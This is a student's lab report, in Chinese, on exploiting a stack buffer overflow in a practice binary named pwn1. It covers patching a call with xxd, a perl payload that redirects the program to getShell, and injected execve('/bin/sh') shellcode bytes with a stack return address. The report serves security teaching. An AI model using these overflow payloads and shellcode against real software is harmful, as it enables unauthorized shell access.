网络与系统攻防实验报告一 20232408李易骋1

news/2025/10/8 19:50:29/文章来源:https://www.cnblogs.com/20232408lyc/p/19130026

北京电子科技学院(BESTI)

实 验 报 告

课程名称: 网络与系统攻防技术
实验序号: 实验一
实验名称: 缓冲区溢出攻击
学 号: 20232408
姓 名: 李易骋
指导老师: 王志强
必修/选修: 选修
实验日期:

一、实验目的

1. 掌握反汇编与十六进制编程器

2. 能正确修改机器指令改变程序执行流程

3. 能正确构造payload进行Bof攻击

二、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容如下:

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

3. 利用nc远程,进行对getShell的触发控制。

三、基础知识

1. Linux shell指令操作

1.1 基本指令:

cd,ls,od,vim,xxd,cat,cp,mv,mkdir,rm……

1.2 C程序编译与开发:

gcc,gdb,cgdb

2. 反汇编

反汇编是将可执行文件反向转换成汇编语言的过程。

Linux反汇编工具objdump:

基础使用命令:objdump -d

基于不同架构:objdump -m -d

  1. 缓冲区溢出

3.1 相关概念

缓冲区、堆和栈

栈(Stack):后进先出结构,用于管理函数调用。

堆(Heap):用于动态分配内存,需手动分配和释放。

缓冲区(Buffer):程序里用来临时存储数据的一块连续内存。

在利用漏洞时,必须将地址按小端序写入载荷,否则会跳转到错误地址。

3.2 基本原理

调用函数时,栈上的内存布局如下:

表 1 栈上内存布局

高地址
参数
返回地址RET
新EBP→旧的EBP内容
局部变量
低地址

当向缓冲区写入大量的数据时,一部分数据会溢出到返回地址等其他关键数据。攻击者通过构造存在内存的恶意代码段和含有该代码段地址的一段数据,使得返回地址恰好被恶意代码地址覆盖,从而达到返回时执行代码段的目的。

四、实验过程

1. 手工修改pwn20232408文件,执行ls命令

1.1 配置初始文件

unzip pwn1.zip

cp pwn1 pwn20232408

Objdump -d pwn20232408 | more

alt text

1.2 修改文件内容

vi pwn20232408

%!xxd

/e8 d7 ,修改为e8 c3

%!xxd -r

退出保存,执行文件./pwn20232408

再次反汇编,查看是否正确修改,检查结果正确。
alt text

  1. 通过构造输入参数,造成BOF攻击,改变程序执行流

    这里是利用了gets函数没有输入限制,所以直接
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    alt text
    直接注入,跳转到系统函数getshell的位置。

    3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.1反汇编程序,分析程序

Objdump -d pwn20232408 | more
alt text

发现这里是gets,没有检测输入长度,是有缓冲区溢出攻击的可能性的。这个注入和上一个不同的是,不是去找getshell,而是自己构造shellcode。

3.2设置断点,查找可以攻击的漏洞

alt text

这里是后面重新开机做的,esp地址变了。在实验时是ffffd35c。由于我们选择这种形式:nop+shellcode+retaddr

参照指导书写的shellcode是perl -e 'print "A" x 32 . "\x04\x03\x02\x01"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input\_shellcode

为什么这里是A * 32呢?

push ebp ;

mov ebp, esp ; 这里相差一个地址单位,是4字节,而

-0x1c就是-28,所以其实是差了32字节,我们可以自行输入少于32字节的输入来验证。

这样就可以注入后续代码,使其溢出覆盖到返回地址。
alt text

3.3修改注入,执行命令

我们可以修改“/x04/x03/x02/x01”,伪造esp的返回地址,使其跳转到我们要它跳转的位置。即esp+8的位置,也就是我们shellcode的位置。

将“/x04/x03/x02/x01”修改为“/x60/xd3/xff/xff”,再次注入。
alt text

  1. nc远程连接
    根据实验指导书,直接开双终端连接自己主机。
    alt text

证明可以实现。

五、实验中遇到的问题及解决

1.没有execstack,下载不了(报错是网址不存在),后来换了patchelf,效果是一样的。

2.在做第三步时,注入shellcode,一开始没有调试成功,管道破碎。后来发现是按照实验指导书写的payload可能不太好找shellcode位置,所以后面换了一种方式注入。

3.第三次调试的时候发现esp返回地址一团乱麻,后来检查时发现是忘记了关闭地址随机化,之前都是关闭的,只是第三次调试忘了。

六、实验体会

缓冲区溢出真的是很神奇的攻击方式,我觉得一个核心在于找到注入点,还有一个就在于shellcode的构思。这次实验做了很久,出现了许多问题,有些问题解决了一次第二次又有新的“变式”,但是通过不断解决问题,我对这个知识点的认识更加深入。同时,我们不仅是“攻击者”,也是“防御者”,会了怎么攻击,才能知道怎么去防御。在写函数时,要做最基本的限制输入长度;可以限制一些危险十六进制字符的输入,来在一定程度上限制缓冲区溢出攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/931880.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析:Starrocks Full GC日志分析

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Hadoop 3.x 伪分布式 8088端口无法访问问题处理 - 实践

Hadoop 3.x 伪分布式 8088端口无法访问问题处理 - 实践2025-10-08 19:43 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; d…

淘客网站开发公司专业企业网站开发联系电话

MyBatis之优化MyBatis配置文件中的配置 2017/9/30MyBatis配置文件很重要&#xff0c;首先我们来看看MyBatis配置文件中的内容和顺序: 文件目录结构如下: 1.<properties>属性定义 可以把一些通用的属性值配置在属性文件中&#xff0c;加载到mybatis运行环境内。例如创建d…

邯郸做wap网站建设苏州新区城乡建设网站

Java系列之:深入理解设计模式 一、设计模式相关技术文章二、设计原则三、设计模式概念四、设计模式的分类五、创建性模式六、创建性模式-工厂方法模式七、创建性模式-抽象工厂模式八、创建性模式-构建器模式九、面向对象设计-结构性模式十、结构性模式-适配器模式十一、结构性…

[KaibaMath]1003 关于[x+y]≥[x]+[y]的证明

[KaibaMath]1003 关于[x+y]≥[x]+[y]的证明下面给出[x+y]≥[x]+[y]的证明。由此证明,我们可轻松推导出:{x+y}≤{x}+{y}。该不等式与绝对值的三角不等式|x+y|≤|x|+|y|具有高度一致性,因为{x}和|x|均非负。

【A】Strategy above the depths

P7457 [CERC2018] The Bridge on the River Kawaii 考虑线段树分治,做完了。

完整教程:Python 训练营打卡 Day 43

完整教程:Python 训练营打卡 Day 43pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monac…

实用指南:Oracle数据库笔记

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

通过el-table 树形材料,子行数据能够异步加载

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

[KaibaMath]1002 关于[x+n]=[x]+n的证明

[KaibaMath]1002 关于[x+n]=[x]+n的证明对x+n进行取整运算时,可将整数n提取到[]之外,这无疑简化了取整运算。

SpringBoot进阶教程(八十七)数据压缩

最近在使用Redis的时候,经常遇到一些不常用的大key,对存储有一些负担。就想着把大key压缩一下。压缩可以分很多种,比如拆分JSON字符串​, ​​压缩JSON字符串​,优化JSON体积​,流式处理大型JSON​和分段存储。v…

做美图网站有哪些东西新开传奇网站大全

原文链接&#xff1a;http://www.cnblogs.com/MOBIN/p/5351900.html----------------------------------------------摘要&#xff1a;通过隐式转换&#xff0c;程序员可以在编写Scala程序时故意漏掉一些信息&#xff0c;让编译器去尝试在编译期间自动推导出这些信息来&#xf…

app开发 上传wordpressseo站外推广

日志系统的功能也就是将一条消息格式化后写入到指定位置&#xff0c;这个指定位置一般是文件&#xff0c;显示器&#xff0c;支持拓展到数据库和服务器&#xff0c;后面我们就知道如何实现拓展的了&#xff0c;支持不同的写入方式(同步异步)&#xff0c;同步:业务线程自己写到文…

网站开发后台指什么网站查询器

技术驱动下&#xff0c;现代企业快速发展&#xff0c;产生海量的数据。被称为基础软件三驾马车之一的数据库&#xff0c;一直处于 IT 系统的核心地位&#xff0c;并在技术发展中不断变化。基础数据是“十四五”的重点关注方向&#xff0c;中国数据库正在快速发展崛起&#xff0…

塑料回收技术创新与可持续发展

本文探讨了通过分子级塑料重构和新型化学回收技术实现塑料全生命周期净零碳排放的创新方法,重点介绍了可降解材料开发和混合塑料废物高效处理技术。某中心与能源部门合作推动塑料回收技术革新 某中心加入了美国能源部…

共享掩码:TFHE在打包消息上的自举技术

本文探讨了基于矩阵LWE假设的全同态加密方案,通过引入共享掩码密文格式显著降低密文扩展。研究展示了如何将TFHE类操作扩展到该格式,在布尔场景下打包8条消息可实现51%的性能提升,同时支持在单个密文中应用不同查找…

网站开发任务分解临沂seo公司稳健火星

1. 安装是成功的&#xff0c;但是安装位置&#xff0c;就是用来存放petalinux的文件夹里没有文件 我是照着正点的文档安装的&#xff0c;出现的一个问题就是最后执行文件这里&#xff1a; -d 后面这个文件夹的路径&#xff0c;我看网上的教程也都是跟文档一致的 /opt/pkg/peta…

详细介绍:[论文阅读] (38)基于大模型的威胁情报分析与知识图谱构建论文总结(读书笔记)

详细介绍:[论文阅读] (38)基于大模型的威胁情报分析与知识图谱构建论文总结(读书笔记)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importan…

手机搭建免费网站wordpress 模拟登陆

01背包 有 N 件物品和一个容量是 V 的背包。每件物品只能使用一次。 第 i件物品的体积是 vi&#xff0c;价值是 wi。 求解将哪些物品装入背包&#xff0c;可使这些物品的总体积不超过背包容量&#xff0c;且总价值最大。 输出最大价值。 输入格式 第一行两个整数&#xff0c;N…

观澜网站制作做户外的网站

在上一节我们看到了&#xff0c;多人在同一个分支上协作时&#xff0c;很容易出现冲突。即使没有冲突&#xff0c;后push的童鞋不得不先pull&#xff0c;在本地合并&#xff0c;然后才能push成功。 每次合并再push后&#xff0c;分支变成了这样&#xff1a; $ git log --grap…